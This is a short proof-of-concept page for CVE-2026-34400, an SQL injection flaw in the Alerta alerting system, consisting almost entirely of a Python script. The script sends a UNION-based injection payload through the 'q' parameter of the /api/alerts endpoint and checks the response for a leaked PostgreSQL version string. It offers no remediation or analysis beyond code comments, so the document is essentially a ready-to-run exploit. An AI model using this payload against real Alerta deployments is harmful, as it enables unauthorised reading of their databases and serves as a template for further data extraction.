CVE-2026-34400 Alerta SQL注入漏洞

import requests # Target URL (replace with actual vulnerable instance) target_url = "http://127.0.0.1:8080/api/alerts" # Malicious payload to demonstrate SQL injection via the 'q' parameter # This payload attempts to perform a Boolean-based blind SQL injection # or a UNION-based injection to extract database version. payload = "test' UNION SELECT NULL, version(), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL-- -" params = { "q": payload } try: # Send GET request to the vulnerable endpoint response = requests.get(target_url, params=params, timeout=10) # Check if the request was successful if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response Content:") print(response.text) # Analyze response to confirm vulnerability (e.g., looking for Postgres version string) if "PostgreSQL" in response.text or "postgres" in response.text.lower(): print("[!] Potential SQL Injection confirmed: Database version leaked in response.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")